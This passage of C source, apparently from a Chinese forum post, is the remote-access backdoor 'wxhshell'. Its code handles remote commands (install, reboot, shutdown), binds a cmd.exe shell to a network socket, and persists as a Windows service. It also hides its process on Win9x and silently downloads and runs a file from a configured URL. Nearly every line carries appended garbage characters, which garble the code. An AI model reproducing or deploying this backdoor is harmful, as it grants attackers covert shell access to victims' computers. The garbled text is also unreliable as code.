      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a>l,H#w*vW  
    break; r-YJ$/J  
  } 7 q!==P=  
  // 安装 9{4oz<U  
  case 'i': { H ~3.F  
    if(Install()) 3\4e{3$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c$,1j%[)  
    else 842v^ 2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ce-= -  
    break; c $r"q :\  
    } QuEX|h,F  
  // 卸载 7k,BE2]"  
  case 'r': { Wu* 4r0  
    if(Uninstall()) vE,^K6q0`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zoxblk  
    else bvJ@H Z$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C-S>'\ |8  
    break; ;Q,t65+Am  
    } ,+ IFV  
  // 显示 wxhshell 所在路径 =r/8~~=  
  case 'p': { !&Q?ASJH  
    char svExeFile[MAX_PATH]; DzMg^Kp  
    strcpy(svExeFile,"\n\r"); $b2~Wj*-nJ  
      strcat(svExeFile,ExeFile); iJE:>qOTD5  
        send(wsh,svExeFile,strlen(svExeFile),0); 5?H wM[`  
    break; ZL MH~cc  
    } v3tJtb^'!  
  // 重启 c OYD N[k  
  case 'b': { gq?:n.;TY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \ mqx '  
    if(Boot(REBOOT)) UM}u(;oo%)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /7Q|D sa  
    else { 5j%G7.S\  
    closesocket(wsh);  C0rf  
    ExitThread(0); 1H)mJVIKkB  
    } NkE0S`Xf  
    break; 2G8pDvBr  
    } Z:; }  
  // 关机 RaZ>.5 D  
  case 'd': { e|~MJu+1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YIU3}sJ!  
    if(Boot(SHUTDOWN)) DL]tg [w{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q}1ZuK`6  
    else { &4#Zi.]  
    closesocket(wsh); s0kp(t!fiu  
    ExitThread(0); /r}L_wI  
    } 1I +9?fa  
    break; YFKE>+  
    } Fe+ @;  
  // 获取shell 5~Y`ikwxL  
  case 's': { >4 OXG7.&f  
    CmdShell(wsh); b}J%4Lx%m  
    closesocket(wsh); D$>_W,*V  
    ExitThread(0); l,ENMKA^D  
    break; :5d>^6eoB?  
  } Zed Fhm  
  // 退出 6CJMQi,kn  
  case 'x': { v gN!9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %+7]/_JO&  
    CloseIt(wsh); p!.~hw9  
    break; gk]QR.  
    } XtF m5\U  
  // 离开 V+d_1] l  
  case 'q': { 74s{b]jN'-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _|HhT^\P  
    closesocket(wsh); pYO =pL^Q  
    WSACleanup(); cHFi(K]|1  
    exit(1); (8nv&|  
    break; Vej$|nF  
        } Lu.zc='\  
  } _z5/&tm_H  
  } Io6/Fv>!  
T U%@_vYR  
  // 提示信息 18g_v"6o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h8rW"8Th  
} .nV2 n@SR  
  } V0ze7tSG[f  
V35Vi6*p  
  return; 3"fDFR  
} :qYp%Ub  
xm'9n?  
// shell模块句柄 mh }M|h5Im  
int CmdShell(SOCKET sock) -@To<<`n  
{ P<<$o-a"  
STARTUPINFO si; ?u|??z%  
ZeroMemory(&si,sizeof(si)); 6r7>nU&d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gY}In+S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O"m7r ds  
PROCESS_INFORMATION ProcessInfo; Gvb2>ZN  
char cmdline[]="cmd"; dBWny&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q PH=`s  
  return 0; "CJVtO  
} Z:4/lx7Bq  
nF3}wCe)  
// 自身启动模式 pP<8zTLn  
int StartFromService(void) ?HEqv$n  
{ p8Vqy-:  
typedef struct  MlO OB  
{ \ovs[&  
  DWORD ExitStatus; sqkWQ`Ur  
  DWORD PebBaseAddress; mvn- QP~"  
  DWORD AffinityMask; =?sG~  
  DWORD BasePriority; kUT2/3Vi  
  ULONG UniqueProcessId; WP<L9A  
  ULONG InheritedFromUniqueProcessId; Met?G0[  
}   PROCESS_BASIC_INFORMATION; xJq|,":gj  
Pk?$\  
PROCNTQSIP NtQueryInformationProcess; $H:!3 -/  
jP@ @<dt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EOPx 4+o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <o EAy  
-FeXG#{)  
  HANDLE             hProcess; "ubp`7%67  
  PROCESS_BASIC_INFORMATION pbi; ;QI9OcE@/  
m^X51,+<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =NB[jQ :(  
  if(NULL == hInst ) return 0; .Rr^AGA4  
oEIpv;:_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {!,K[QwcI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a~}q]o?j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $5nMD=   
InPE_  
  if (!NtQueryInformationProcess) return 0; h nydH-;cz  
HoI6(t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yT ^x0?U  
  if(!hProcess) return 0; (s8b?Ol/  
l 9K`+c+t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \J LGw1F  
Q14zc0N  
  CloseHandle(hProcess); N8A)lYT]_u  
qxZIH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "*vrrY  
if(hProcess==NULL) return 0; @yp0WB  
CKAd\L   
HMODULE hMod; *l5?_tF  
char procName[255]; C'R9Nn'  
unsigned long cbNeeded; W>3S%2d  
;lObqs*?>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "@ >6<(Ki  
.Fb#j+Lq  
  CloseHandle(hProcess); '-wmY?ZFxy  
b]u$!W  
if(strstr(procName,"services")) return 1; // 以服务启动 91OxUVd  
Y ^^4n$  
  return 0; // 注册表启动 }*fBHzNN  
} Q)75?mn  
Ejug2q  
// 主模块 y2W+YV*  
int StartWxhshell(LPSTR lpCmdLine) OG$n C  
{ <rC%$tr  
  SOCKET wsl; TY8gB!^  
BOOL val=TRUE; ^s~)"2 g  
  int port=0; -K|1w'E  
  struct sockaddr_in door; [@@{z9c  
'LgRdtO6  
  if(wscfg.ws_autoins) Install(); O_QDjxj^rZ  
^\}MG!l  
port=atoi(lpCmdLine); t:wBh'K~R8  
Wf c/?{  
if(port<=0) port=wscfg.ws_port; B=A!hXNa  
=O}I{dNKZV  
  WSADATA data; I`_2Q:r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F ~A $7  
Q4XlYgIV2A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ElO|6kOBYG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~  QRjl  
  door.sin_family = AF_INET; ns~]a:1yh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8LV6E5Q  
  door.sin_port = htons(port); @i ~A7L0/  
rHKO13WF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zPnb_[YF  
closesocket(wsl); u X,n[u  
return 1; _[rFnyC+0V  
}  Bx45yaT  
BX/3{5Y>{  
  if(listen(wsl,2) == INVALID_SOCKET) { r<!hEWO>v  
closesocket(wsl); oAO{4xP  
return 1; Y` }X5(A@  
} @)>Z+g  
  Wxhshell(wsl); 8 a]'G)(ts  
  WSACleanup(); C1 ^%!)  
s{b\\$Rb  
return 0; `W86]ut[  
3ijPm<wn  
} Q6m8N  
`cp\UH@  
// 以NT服务方式启动 A8f.h5~9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L{1sYR%s\  
{ ULiRuN0 6  
DWORD   status = 0; aL1%BGlmZ<  
  DWORD   specificError = 0xfffffff; prZ ,4\  
\3hA_{ w  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QIiy\E%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z Rna=h!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z}E_ wg  
  serviceStatus.dwWin32ExitCode     = 0; F85_Lz4  
  serviceStatus.dwServiceSpecificExitCode = 0; sD3ZZcy|=  
  serviceStatus.dwCheckPoint       = 0; hDxq9EF  
  serviceStatus.dwWaitHint       = 0; ]k!Xb  
uw\@~ ,d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l.@1]4.  
  if (hServiceStatusHandle==0) return; c)#P}Ai  
+gd5&  
status = GetLastError(); gsL=_# ?  
  if (status!=NO_ERROR) ]FCP|Jz  
{ J+/}m}bx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _:Qh1 &h  
    serviceStatus.dwCheckPoint       = 0; %)j&/QdzF&  
    serviceStatus.dwWaitHint       = 0; R!dC20IMvH  
    serviceStatus.dwWin32ExitCode     = status; nL 5tHz:e  
    serviceStatus.dwServiceSpecificExitCode = specificError; h'"m,(a   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2j+w5KvU  
    return; dk&e EDvfd  
  } JY  
(fpz",[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8n3]AOc'~-  
  serviceStatus.dwCheckPoint       = 0; T >8P1p@A,  
  serviceStatus.dwWaitHint       = 0; cK'g2S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F CYGXtc  
} x^K4&'</  
cUq]PC$|  
// 处理NT服务事件,比如:启动、停止 ?W'z5'|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e)uC  
{ LSta]81B4L  
switch(fdwControl) 2Wzx1_D "a  
{ qA[lL(  
case SERVICE_CONTROL_STOP: $0[T<]{/?  
  serviceStatus.dwWin32ExitCode = 0; vx9!KWy}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g@#he95 }  
  serviceStatus.dwCheckPoint   = 0; /V,xSK9.&  
  serviceStatus.dwWaitHint     = 0; z3a GK  
  { 5t:Zp\$+`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +0Q   
  } +JErc)%  
  return; 58Ibje  
case SERVICE_CONTROL_PAUSE: dBI-y6R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ob>)F^.iS  
  break; ExG(*[l  
case SERVICE_CONTROL_CONTINUE: RQ E]=N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Aits<0  
  break; o^epXIrIPi  
case SERVICE_CONTROL_INTERROGATE: Pk;w.)kT  
  break; :[<Y#EX.  
}; ;^/ruf[t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8;gi8Y  
} 4r$#-  
a*(Zb|g  
// 标准应用程序主函数 44e]sT.B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |!(8c>]Bo  
{ d~8U1}dP  
~DD _n  
// 获取操作系统版本 !`_f  
OsIsNt=GetOsVer(); CzV;{[?~;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^\v]Ltd  
QD.5o S  
  // 从命令行安装 |V5BL<4  
  if(strpbrk(lpCmdLine,"iI")) Install(); q]{gAGe~  
}tt%J[  
  // 下载执行文件 /D"T\KNWr  
if(wscfg.ws_downexe) { E6GubU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]L~z9)  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3.YH7rN  
} "1s ]74  
U,2OofLM  
if(!OsIsNt) { #)S}z+I  
// 如果时win9x,隐藏进程并且设置为注册表启动 4&NB xe  
HideProc(); "5eD >!  
StartWxhshell(lpCmdLine); r)S:= Is5  
} MNs<yQ9I'  
else (~G*' /)  
  if(StartFromService()) vE9"1M  
  // 以服务方式启动 Lx- %y'P  
  StartServiceCtrlDispatcher(DispatchTable); =-!jm? st*  
else oRd{?I&NY  
  // 普通方式启动 m LajiZ Bf  
  StartWxhshell(lpCmdLine); q2 7Ac; y  
*4~7p4 [  
return 0; Y#lAG@$  
}
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只看该作者 1 发表于: 2006-10-10
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